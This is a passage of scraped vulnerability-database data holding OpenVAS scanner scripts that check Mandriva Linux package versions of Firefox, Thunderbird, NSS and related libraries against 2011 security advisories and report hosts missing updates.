isrpmvuln(pkg:\"mozilla-thunderbird-sk\", rpm:\"mozilla-thunderbird-sk~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sl\", rpm:\"mozilla-thunderbird-sl~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sq\", rpm:\"mozilla-thunderbird-sq~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sr\", rpm:\"mozilla-thunderbird-sr~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-sv_SE\", rpm:\"mozilla-thunderbird-sv_SE~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-tr\", rpm:\"mozilla-thunderbird-tr~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-uk\", rpm:\"mozilla-thunderbird-uk~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-vi\", rpm:\"mozilla-thunderbird-vi~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-zh_CN\", rpm:\"mozilla-thunderbird-zh_CN~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-zh_TW\", rpm:\"mozilla-thunderbird-zh_TW~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nsinstall\", rpm:\"nsinstall~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"xulrunner\", rpm:\"xulrunner~1.9.2.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"yelp\", rpm:\"yelp~2.24.0~3.30mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-l10n\", rpm:\"firefox-l10n~3.6.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"mozilla-thunderbird-l10n\", rpm:\"mozilla-thunderbird-l10n~3.1.12~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64devhelp-1_0\", rpm:\"lib64devhelp-1_0~0.21~3.27mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64devhelp-1-devel\", rpm:\"lib64devhelp-1-devel~0.21~3.27mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64xulrunner1.9.2.20\", rpm:\"lib64xulrunner1.9.2.20~1.9.2.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64xulrunner-devel\", rpm:\"lib64xulrunner-devel~1.9.2.20~0.1mdv2009.0\", rls:\"MNDK_2009.0\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-11-19T13:07:24", "bulletinFamily": "scanner", "description": "The remote host is missing an update for the ", "modified": "2018-11-16T00:00:00", "published": "2011-04-11T00:00:00", "id": "OPENVAS:1361412562310831367", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310831367", "title": "Mandriva Update for firefox MDVSA-2011:068 (firefox)", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Mandriva Update for firefox MDVSA-2011:068 (firefox)\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (c) 2011 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_xref(name:\"URL\", value:\"http://lists.mandriva.com/security-announce/2011-04/msg00010.php\");\n script_oid(\"1.3.6.1.4.1.25623.1.0.831367\");\n script_version(\"$Revision: 12381 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-11-16 12:16:30 +0100 (Fri, 16 Nov 2018) $\");\n script_tag(name:\"creation_date\", value:\"2011-04-11 15:05:25 +0200 (Mon, 11 Apr 2011)\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_xref(name:\"MDVSA\", value:\"2011:068\");\n script_name(\"Mandriva Update for firefox MDVSA-2011:068 (firefox)\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'firefox'\n package(s) announced via the referenced advisory.\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2011 Greenbone Networks GmbH\");\n script_family(\"Mandrake Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/mandriva_mandrake_linux\", \"ssh/login/release\", re:\"ssh/login/release=MNDK_(mes5|2010\\.1|2010\\.0|2009\\.0)\");\n script_tag(name:\"affected\", value:\"firefox on Mandriva Linux 2009.0,\n Mandriva Linux 2009.0/X86_64,\n Mandriva Linux 2010.0,\n Mandriva Linux 2010.0/X86_64,\n Mandriva Linux 2010.1,\n Mandriva Linux 2010.1/X86_64,\n Mandriva Enterprise Server 5,\n Mandriva Enterprise Server 5/X86_64\");\n script_tag(name:\"insight\", value:\"Several invalid HTTPS certificates were placed on the certificate\n blacklist to prevent their misuse.\n\n Users on a compromised network could be directed to sites using\n the fraudulent certificates and mistake them for the legitimate\n sites. This could deceive them into revealing personal information\n such as usernames and passwords. It may also deceive users into\n downloading malware if they believe it's coming from a trusted site.\n\n The NSS and NSPR packages were updated to the latest versions as\n well as the rootcerts packages providing the latest root CA certs\n from mozilla as of 2011/03/23.\n\n The firefox packages were updated to the latest 3.6.16 version which\n is not vulnarable to this issue.\n\n The mozilla thunderbird 3.1.9 packages were patched with the same\n fix as of firefox as a precaution.\n\n Packages for 2009.0 are provided as of the Extended Maintenance\n Program. Additionally, some packages which require so, have been rebuilt and\n are being provided as updates.\");\n script_tag(name:\"solution\", value:\"Please Install the Updated Packages.\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name:\"URL\", value:\"http://store.mandriva.com/product_info.php?cPath=149&amp;amp;products_id=490\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release) exit(0);\n\nres = \"\";\n\nif(release == \"MNDK_mes5\")\n{\n\n if ((res = isrpmvuln(pkg:\"firefox\", rpm:\"firefox~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-af\", rpm:\"firefox-af~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ar\", rpm:\"firefox-ar~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-be\", rpm:\"firefox-be~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-bg\", rpm:\"firefox-bg~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-bn\", rpm:\"firefox-bn~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ca\", rpm:\"firefox-ca~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-cs\", rpm:\"firefox-cs~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-cy\", rpm:\"firefox-cy~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-da\", rpm:\"firefox-da~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-de\", rpm:\"firefox-de~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-devel\", rpm:\"firefox-devel~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-el\", rpm:\"firefox-el~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-en_GB\", rpm:\"firefox-en_GB~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-eo\", rpm:\"firefox-eo~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-es_AR\", rpm:\"firefox-es_AR~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-es_ES\", rpm:\"firefox-es_ES~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-et\", rpm:\"firefox-et~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-eu\", rpm:\"firefox-eu~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-fi\", rpm:\"firefox-fi~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-fr\", rpm:\"firefox-fr~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-fy\", rpm:\"firefox-fy~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ga_IE\", rpm:\"firefox-ga_IE~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-gl\", rpm:\"firefox-gl~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-gu_IN\", rpm:\"firefox-gu_IN~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-he\", rpm:\"firefox-he~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-hi\", rpm:\"firefox-hi~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-hu\", rpm:\"firefox-hu~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-id\", rpm:\"firefox-id~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-is\", rpm:\"firefox-is~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-it\", rpm:\"firefox-it~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ja\", rpm:\"firefox-ja~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ka\", rpm:\"firefox-ka~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-kn\", rpm:\"firefox-kn~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ko\", rpm:\"firefox-ko~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ku\", rpm:\"firefox-ku~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-lt\", rpm:\"firefox-lt~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-lv\", rpm:\"firefox-lv~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-mk\", rpm:\"firefox-mk~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-mr\", rpm:\"firefox-mr~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-nb_NO\", rpm:\"firefox-nb_NO~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-nl\", rpm:\"firefox-nl~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-nn_NO\", rpm:\"firefox-nn_NO~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-oc\", rpm:\"firefox-oc~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pa_IN\", rpm:\"firefox-pa_IN~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pl\", rpm:\"firefox-pl~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pt_BR\", rpm:\"firefox-pt_BR~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-pt_PT\", rpm:\"firefox-pt_PT~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ro\", rpm:\"firefox-ro~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-ru\", rpm:\"firefox-ru~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-si\", rpm:\"firefox-si~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sk\", rpm:\"firefox-sk~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sl\", rpm:\"firefox-sl~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sq\", rpm:\"firefox-sq~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sr\", rpm:\"firefox-sr~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-sv_SE\", rpm:\"firefox-sv_SE~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-te\", rpm:\"firefox-te~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-th\", rpm:\"firefox-th~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-tr\", rpm:\"firefox-tr~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-uk\", rpm:\"firefox-uk~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-zh_CN\", rpm:\"firefox-zh_CN~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-zh_TW\", rpm:\"firefox-zh_TW~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-extras\", rpm:\"gnome-python-extras~2.19.1~20.26mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gda\", rpm:\"gnome-python-gda~2.19.1~20.26mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gda-devel\", rpm:\"gnome-python-gda-devel~2.19.1~20.26mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gdl\", rpm:\"gnome-python-gdl~2.19.1~20.26mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gtkhtml2\", rpm:\"gnome-python-gtkhtml2~2.19.1~20.26mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gtkmozembed\", rpm:\"gnome-python-gtkmozembed~2.19.1~20.26mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"gnome-python-gtkspell\", rpm:\"gnome-python-gtkspell~2.19.1~20.26mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libnspr4\", rpm:\"libnspr4~4.8.7~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libnspr-devel\", rpm:\"libnspr-devel~4.8.7~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libnss3\", rpm:\"libnss3~3.12.9~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libnss-devel\", rpm:\"libnss-devel~3.12.9~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libnss-static-devel\", rpm:\"libnss-static-devel~3.12.9~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libxulrunner1.9.2.16\", rpm:\"libxulrunner1.9.2.16~1.9.2.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libxulrunner-devel\", rpm:\"libxulrunner-devel~1.9.2.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nss\", rpm:\"nss~3.12.9~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"rootcerts\", rpm:\"rootcerts~20110323.00~1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"rootcerts-java\", rpm:\"rootcerts-java~20110323.00~1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"xulrunner\", rpm:\"xulrunner~1.9.2.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"yelp\", rpm:\"yelp~2.24.0~3.27mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"firefox-l10n\", rpm:\"firefox-l10n~3.6.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"nspr\", rpm:\"nspr~4.8.7~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"rootcerts\", rpm:\"rootcerts~20110323.00~1mdv2010.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64nspr4\", rpm:\"lib64nspr4~4.8.7~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64nspr-devel\", rpm:\"lib64nspr-devel~4.8.7~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64nss3\", rpm:\"lib64nss3~3.12.9~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64nss-devel\", rpm:\"lib64nss-devel~3.12.9~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64nss-static-devel\", rpm:\"lib64nss-static-devel~3.12.9~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64xulrunner1.9.2.16\", rpm:\"lib64xulrunner1.9.2.16~1.9.2.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"lib64xulrunner-devel\", rpm:\"lib64xulrunner-devel~1.9.2.16~0.1mdvmes5.2\", rls:\"MNDK_mes5\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n\n\nif(release == \"MNDK_2010.1\")\n{\n\n if ((res = isrpmvuln(pkg:\"beagle\", rpm:\"beagle~0.3.9~40.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-crawl-system\", rpm:\"beagle-crawl-system~0.3.9~40.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-doc\", rpm:\"beagle-doc~0.3.9~40.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-evolution\", rpm:\"beagle-evolution~0.3.9~40.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-gui\", rpm:\"beagle-gui~0.3.9~40.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-gui-qt\", rpm:\"beagle-gui-qt~0.3.9~40.13mdv2010.2\", rls:\"MNDK_2010.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"beagle-libs\", rpm:\"beagle-libs~0.3.9~40.13mdv2010.2\", 